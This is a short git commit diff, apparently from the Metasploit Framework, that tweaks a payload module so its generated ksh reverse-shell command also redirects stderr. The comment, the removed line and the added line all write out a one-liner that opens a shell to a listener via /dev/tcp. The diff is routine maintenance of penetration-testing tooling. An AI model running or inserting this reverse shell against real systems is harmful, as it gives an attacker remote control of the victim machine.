Redirect stderr as well

GSoC/Meterpreter_Web_Console
William Vu 2018-05-15 19:51:10 -05:00
parent 53844cb24a
commit 3ccfc27096
1 changed files with 2 additions and 3 deletions

View File

@ -34,11 +34,10 @@ module MetasploitModule
end
def generate
return super + command_string
super + command_string
end
def command_string
# ksh -c 'ksh >/dev/tcp/${HOST}/${PORT} <&1'
cmd = "ksh -c 'ksh >/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&1'"
"ksh -c 'ksh >/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 2>&1 <&1'"
end
end